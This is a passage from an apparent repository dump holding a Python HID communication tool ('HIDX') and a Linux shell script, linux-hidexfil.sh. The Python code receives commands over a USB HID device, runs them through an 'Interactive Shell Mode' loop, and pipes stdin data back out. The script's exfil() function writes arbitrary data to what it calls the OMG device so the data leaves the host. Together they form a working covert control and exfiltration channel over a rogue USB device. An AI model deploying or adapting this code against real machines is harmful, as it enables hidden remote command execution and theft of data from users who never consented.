pyusb+libusb\")\n        except uc.NoBackendError:\n            if pkgutil.find_loader('libusb_package'):\n                libusb_package = importlib.import_module('libusb_package')\n                self.dev_backend = \"libusb_package\"\n                dev = libusb_package.find(idVendor=vid, idProduct=pid)\n                if self.debug:\n                    print(\"Using pyusb+lisbusb_package\")\n            else:\n                print(\"No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. \")\n                return False\n        if not dev:\n            print(f\"Could not find device: {dev_id}\")\n            return False\n        self.reattach = False\n        try:\n            if hasattr(dev,\"is_kernel_driver_active\") and dev.is_kernel_driver_active(2):\n                self.reattach = True\n                dev.detach_kernel_driver(2)\n        except NotImplementedError:\n            pass\n        self.cfg = dev.get_active_configuration()\n        self.int = self.cfg.interfaces()[2]\n        self.dev = dev\n        print(f\"Found and Connecting to Device: {dev_id}\")\n        return True\n\n    def pad_input(self,input_str, left_pad=False, right_pad=False, chunk_size = 8):\n        if left_pad and right_pad:\n            raise Exception(\"Cannot add padding on both the left and right side!\")\n        # default to right pad\n        if not left_pad and not right_pad:\n            right_pad = True\n        padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size\n        padded_str = None\n        if isinstance(input_str, bytes):\n            input_str = self.decode_msg(input_str)\n        if right_pad:\n            padded_str = input_str + ' ' * padding_length    \n        if left_pad:\n            padded_str = ' ' * padding_length + input_str\n        return padded_str\n\n    def split_output(self,message,chunk_size=8):\n        chunks = []\n        for i in range(0,len(message),chunk_size):\n            raw_message = message[i:i+chunk_size]\n            padded_message = self.pad_input(raw_message,right_pad=True)\n            chunks.append(padded_message)\n        return chunks\n    \n\n    def write(self,msg=None, buffer_limit=8):\n        endpoint = self.int.endpoints()[1]\n        error = False\n        start_buffer_size = len(self.send_buff)\n        write_bytes = 0\n        if msg:\n            self.send_buff=self.send_buff+self.split_output(bytes(msg,'utf-8'),chunk_size=buffer_limit)\n        if self.debug:\n           print(f\"Msg:{msg} = {self.send_buff}\")\n        if len(self.send_buff)>0:\n            try:\n                part = b\"\"\n                if len(self.send_buff)>0:\n                    part = self.send_buff.pop(0)\n                endpoint.write(part)\n                write_bytes = len(part)\n                end_buffer_size = len(self.send_buff)\n                if self.debug:\n                   print(f\"Write Buffer: ob:{start_buffer_size},wb:{write_bytes},eb:{end_buffer_size}\")\n            except Exception as e:\n                print(f\"Error in write, {e}\")\n                error = True\n        return error, write_bytes\n\n\n    def _read(self, buffer_limit=8,report_size=8,timeout=200):\n        endpoint = self.int.endpoints()[0]\n        res = None\n        error = False\n        raw_message = b\"\"\n        recv_packets = 0\n        recv_bytes = 0\n        try:\n            remainder = buffer_limit+report_size*2\n            while (remainder > report_size):\n                if self.debug:\n                    print(\"In _read loop...\")\n                remainder -= report_size\n                rawdata = bytes(self.dev.read(endpoint.bEndpointAddress, report_size, timeout)).rstrip(b\"\\x00\")\n                procdata = b\"\"\n                for _r in rawdata:\n                    if 32 <= _r <= 126 or _r in [10]:\n                        procdata+=chr(_r).encode()\n                raw_message+=procdata\n                #print(f\"{remainder}/{report_size} = {procdata}\")\n                recv_packets += 1\n                recv_bytes += len(rawdata)\n        except uc.USBTimeoutError:\n            pass\n        except uc.USBError:\n            print(\"Lost device, must attempt to reconnect.\")\n            #self.reattach=True\n            #self.setup_dev(self.vid,self.pid)\n            error = True\n            pass # for now so we just time out eventually\n        # do a decode\n        if recv_packets>0:\n            data_str = \"\"\n            for c in raw_message:\n                data_str += chr(c)\n            res = data_str\n        else:\n            pass\n\n        return error, recv_packets, recv_bytes, res\n        \n    def read(self, retries=1):\n        raw_message = b\"\"\n        empty_message = 0\n        error = False\n        recv_bytes=0\n        recv_packet=0\n        while retries>0:\n            if self.debug:\n                print(\"In read loop...\")\n            try:\n                error, recv_packet, recv_byte, raw_data = self._read(\n                    buffer_limit=(self.read_buff_size*4),\n                    report_size=self.read_buff_size\n                )\n                recv_bytes+=recv_byte\n                recv_packet+=recv_packet\n                \n                if error:\n                    print(\"! Error detected in read()\")\n                    return raw_message\n                if recv_byte == 0:\n                    retries-=1\n                else:\n                \t# 0a 20 20 20 20\n                    raw_message+=bytes(raw_data,'utf-8')\n                    break\n            except KeyError:\n                error=True\n                retries-=1\n        if self.debug:\n            print(\"debug: listening for data\")\n        return error, recv_packet, recv_bytes, raw_message\n\n    def setWriteBuffSize(self,size):\n        self.write_buff_size = size\n        return size\n    \n    def setReadBuffSize(self,size):\n        self.read_buff_size = size\n        return size    \n\n    def decode_msg(self,data):\n        content = None\n        try:\n            content = data.decode('utf-8')\n        except UnicodeDecodeError:\n            content = data.decode('latin-1')\n        return content \n\n    def start(self,max_errors=5):\n        iter = 1\n        clear_errcnt = 0 \n        while self.write_errors < max_errors and self.read_errors < max_errors:\n            result = None\n            read_error, recv_packet, recv_bytes, raw_message = self.read()\n            \n            if self.debug:\n                print(\"In main loop...\")\n            \n            if read_error:\n                self.read_errors+=1\n            else:\n                if recv_bytes > 0 and len(raw_message)>1:\n                    commands = raw_message.decode(\"utf-8\").rstrip().replace(\"\\\\n\",\"\\n\").split(\"\\n\")\n                    for command in commands:\n                        if self.debug:\n                            print(\"In command loop...\")\n                        result = None\n                        cleaned_command = command.rstrip().replace(\"\\n\",\"\").replace(\"\\r\",\"\").rstrip().strip()\n                        if self.debug:\n                            print(f\"RECV: '{cleaned_command}'\\n\")\n                        try:\n                            result = self.do_cmd(cleaned_command)\n                        except Exception as e:\n                            print(f\"error! {e}\")\n                        if result and self.debug:\n                            print(\"Got new data!\")\n                        if result:\n                            result = result + \"\\x07\\x17\\x00\\x00\"\n                        write_error,send_bytes = self.write(result,self.write_buff_size)\n                        if write_error:\n                            self.write_errors+=1\n            result=None\n            write_error,send_bytes = self.write(result,self.write_buff_size)\n            if write_error:\n                self.write_errors+=1      \n            iter += 1\n            if (clear_errcnt > 24):\n                self.read_errors = 0\n                self.write_errors = 0\n    \n    def send(self,message,max_errors=5):\n        iter = 1\n        clear_errcnt = 0 \n        write_error,send_bytes = self.write(message,self.write_buff_size)\n        self.write_errors =+ 1\n        if self.debug:\n            print(\"Sending message: %d\" % len(message))\n        while len(self.send_buff)>0 and (self.write_errors < max_errors and self.read_errors < max_errors):\n            result = message\n            write_error,send_bytes = self.write(None,self.write_buff_size)\n            if write_error:\n                self.write_errors+=1      \n            iter += 1\n            if (clear_errcnt > 24):\n                self.read_errors = 0\n                self.write_errors = 0\n        if self.write_errors>2:\n            print(f\"Send incomplete. Total errored packets: {self.write_errors}\")\n        else:\n            print(\"Send Complete\")\n\nif __name__ == \"__main__\":\n\n    def clean_id(inmsg):\n        hexstr = \"0x\"+str(inmsg).lower().replace(\"0x\",\"\")\n        return int(hexstr,16)\n    \n\n    def read_stdin():\n        content = None\n        # to work around certain windows errors that may pop up\n        try:\n            if not sys.stdin.isatty():\n                data = sys.stdin.buffer.read().strip()\n                if data:\n                    try:\n                        # Try decoding using 'utf-8'\n                        content = data.decode('utf-8')\n                    except UnicodeDecodeError:\n                        # If 'utf-8' decoding fails, try 'latin-1'\n                        content = data.decode('latin-1')\n        except:\n            pass\n        return content  \n        \n    parser = argparse.ArgumentParser(description=\"HIDUniversal Tool\")\n\n    parser.add_argument(\"--vid\", type=str, default=\"0xd3c0\", help=\"Specify vid parameter\")\n    parser.add_argument(\"--pid\", type=str, default=\"0xd34d\", help=\"Specify pid parameter\")\n    parser.add_argument(\"--debug\", action=\"store_true\", help=\"Enable debug mode\")\n    parser.add_argument(\"--readbuff\", type=int, help=\"Specify read buffer size\",default=8)\n    parser.add_argument(\"--sendbuff\", type=int, help=\"Specify send buffer size\",default=8)\n\n    args = parser.parse_args()\n    debug = False\n    if args.debug:\n        debug=True\n        print(\"Starting Up...\")\n    \n    hdx = HIDX(vid=clean_id(args.vid),pid=clean_id(args.pid),rbuff=int(args.readbuff),debug=debug,sbuff=int(args.sendbuff))\n    stdin_data = read_stdin()\n    if stdin_data:\n        if debug:\n           print(\"In STDIN Mode\")\n        hdx.send(stdin_data)\n    else:\n        if debug:\n            print(\"In Interactive Shell Mode\")\n        hdx.start()\n"
  },
  {
    "path": "tools/HIDX/shell/linux-hidexfil.sh",
    "content": "#!/bin/sh\n# Note: This uses base components to implement\n# More advanced techniques are possible \n# but this is a simple demo to allow you to call exfil \"data\"\n# and write it out\n\n# wasabi\n\ngetOMGDev(){\n\t# not perfect but just looking for the last hid device we found\n\tdevn=$(dmesg|grep hidraw|grep hiddev|grep input2|tail -n1|awk -F ',' '{print $2}'|awk -F ':' '{print $1}')\n\techo $devn \n}\n\nexfil(){\n\tIN=\"$1\"\n\tOUT=$(getOMGDev)\n\t# thats it! \n\techo \"${IN}\" > \"${OUT}\"\n}"
  }
]